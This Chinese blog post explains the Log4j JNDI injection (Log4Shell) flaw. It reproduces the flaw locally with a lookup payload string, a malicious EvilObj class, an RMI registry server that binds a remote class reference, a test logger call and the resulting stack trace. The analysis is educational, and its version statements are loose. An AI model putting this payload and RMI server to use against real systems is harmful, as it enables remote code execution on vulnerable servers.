Log4j漏洞分析

本文探讨了Log4j中的安全漏洞,当message参数包含${java:os}或${jndi:rmi://127.0.0.1:1899/asd}时,可能导致执行远程代码。攻击者利用低于2.14.0版本的log4j-api,通过自定义注册中心和服务,可以触发RMI调用来执行恶意代码。尽管测试中未成功连接到服务,但已证实存在执行风险。

先看问题:

原本我只是希望logger.info(“hello,{}”,message); 用message来替换{}输出:hello,pxq;

但是假如我的message是${java:os},就是输出设备的具体信息;像这种可能存在隐患;

进一步如果String strings = “${jndi:rmi://127.0.0.1:1899/asd}”; 就会去执行注册中心127.0.0.1:1899中的名为asd的服务,只要用户使用了logger.info()且版本在log4j-api的版本在2.14.0以下,黑客就可以在文本框中填写以上string去在后台执行自己定义的注册中心的服务;

RMI(Remote Method Invocation)远程方法调用:是一种计算机之间对象互相调用对方函数,启动对方进程的一种机制,使用这种机制,某一台计算机上的对象在调用另外一台计算机上的方法时,使用的程序语法规则和在本地机上对象间的方法调用的语法规则一样。

String message ="pxq";
logger.info("hello,{}",message);
//输出hello,pxq   因为这边{}代表message

 message = "${java:os}";
logger.info("hello,{}",message);
//hello,Windows 10 10.0, architecture: amd64-64;这边会输出本机的信息;这边是lookup的一个功能

message = "${java:vm}";
logger.info("hello,{}",message);
//hello,Java HotSpot(TM) 64-Bit Server VM (build 25.201-b09, mixed mode);这边会输出虚拟机的信息;这边是lookup的一个功能

String strings = "${jndi:rmi://127.0.0.1:1899/asd}";
logger.info("hello,{}",strings);

复现(测试代码结果有问题,但证实了执行输出前会去查找黑客注册的服务运行,我这边显示没找到服务估计是相关配置的问题):

1、log4j-api的依赖版本在2.14.0以下

 <dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.0</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.0</version>
        </dependency>
    </dependencies>

2、配置文件log4j2.xml;

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="warn">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="[%-5p] %d %c - %m%n" />
        </Console>
        <File name="File" fileName="dist/my.log">
            <PatternLayout pattern="%m%n" />
        </File>
    </Appenders>

    <Loggers>
        <Logger name="mh.sample2.Log4jTest2" level="INFO">
            <AppenderRef ref="File" />
        </Logger>
        <Root level="INFO">
            <AppenderRef ref="Console" />
        </Root>
    </Loggers>
</Configuration>

3、黑客自定义的服务,执行自己想要执行的代码

package rmi;
public class EvilObj {
    static {
        System.out.println("我是黑客,我想要做啥都行");
    }
}

4、黑客申明注册中心,同时将自己定义的服务注册到注册中心,运行代码启动注册中心并进行服务注册与发现;

package rmi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
//      注册中心
        LocateRegistry.createRegistry(1899);
        Registry registry = LocateRegistry.getRegistry();
        System.out.println("创建了远程方法调用的注册中心在1899端口");

//      申明了一个服务,将这个服务与注册中心进行绑定
        Reference reference = new Reference("rmi.EvilObj","rmi.EvilObj","http://127.0.0.1:8080/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.rebind("asd",referenceWrapper);
    }
}

在这里插入图片描述
5、测试代码;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Test {
    private static final Logger logger = LogManager.getLogger();
    public static void main(String[] args) throws NamingException {
        String strings = "${jndi:rmi://127.0.0.1:1899/asd}";
        logger.info("hello,{}",strings);
    }
}

6、运行测试代码,在输出代码[INFO ] 2021-12-13 21:39:24,931 Test - hello,${jndi:rmi://127.0.0.1:1899/asd}前,虽然报错javax.naming.NameNotFoundException: asd,意思是没有找到注册中心的服务, 但是至少说明了在执行前其实是去寻找黑客的服务并运行服务代码,这边报错好像是jndi配置的原因;

2021-12-13 21:39:29,973 main WARN Error looking up JNDI resource [rmi://127.0.0.1:1899/asd]. javax.naming.NameNotFoundException: asd
	at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:134)
	at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
	at javax.naming.InitialContext.lookup(InitialContext.java:417)
	at org.apache.logging.log4j.core.net.JndiManager.lookup(JndiManager.java:172)
	at org.apache.logging.log4j.core.lookup.JndiLookup.lookup(JndiLookup.java:56)
	at org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:223)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.resolveVariable(StrSubstitutor.java:1116)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1038)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.replace(StrSubstitutor.java:467)
	at org.apache.logging.log4j.core.pattern.MessagePatternConverter.format(MessagePatternConverter.java:132)
	at org.apache.logging.log4j.core.pattern.PatternFormatter.format(PatternFormatter.java:38)
	at org.apache.logging.log4j.core.layout.PatternLayout$PatternSerializer.toSerializable(PatternLayout.java:345)
	at org.apache.logging.log4j.core.layout.PatternLayout.toText(PatternLayout.java:244)
	at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:229)
	at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:59)
	at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.directEncodeEvent(AbstractOutputStreamAppender.java:197)
	at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.tryAppend(AbstractOutputStreamAppender.java:190)
	at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.append(AbstractOutputStreamAppender.java:181)
	at org.apache.logging.log4j.core.config.AppenderControl.tryCallAppender(AppenderControl.java:156)
	at org.apache.logging.log4j.core.config.AppenderControl.callAppender0(AppenderControl.java:129)
	at org.apache.logging.log4j.core.config.AppenderControl.callAppenderPreventRecursion(AppenderControl.java:120)
	at org.apache.logging.log4j.core.config.AppenderControl.callAppender(AppenderControl.java:84)
	at org.apache.logging.log4j.core.config.LoggerConfig.callAppenders(LoggerConfig.java:543)
	at org.apache.logging.log4j.core.config.LoggerConfig.processLogEvent(LoggerConfig.java:502)
	at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:485)
	at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:460)
	at org.apache.logging.log4j.core.config.AwaitCompletionReliabilityStrategy.log(AwaitCompletionReliabilityStrategy.java:82)
	at org.apache.logging.log4j.core.Logger.log(Logger.java:161)
	at org.apache.logging.log4j.spi.AbstractLogger.tryLogMessage(AbstractLogger.java:2198)
	at org.apache.logging.log4j.spi.AbstractLogger.logMessageTrackRecursion(AbstractLogger.java:2152)
	at org.apache.logging.log4j.spi.AbstractLogger.logMessageSafely(AbstractLogger.java:2135)
	at org.apache.logging.log4j.spi.AbstractLogger.logMessage(AbstractLogger.java:2028)
	at org.apache.logging.log4j.spi.AbstractLogger.logIfEnabled(AbstractLogger.java:1899)
	at org.apache.logging.log4j.spi.AbstractLogger.info(AbstractLogger.java:1444)
	at Test.main(Test.java:31)

[INFO ] 2021-12-13 21:39:24,931 Test - hello,${jndi:rmi://127.0.0.1:1899/asd}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值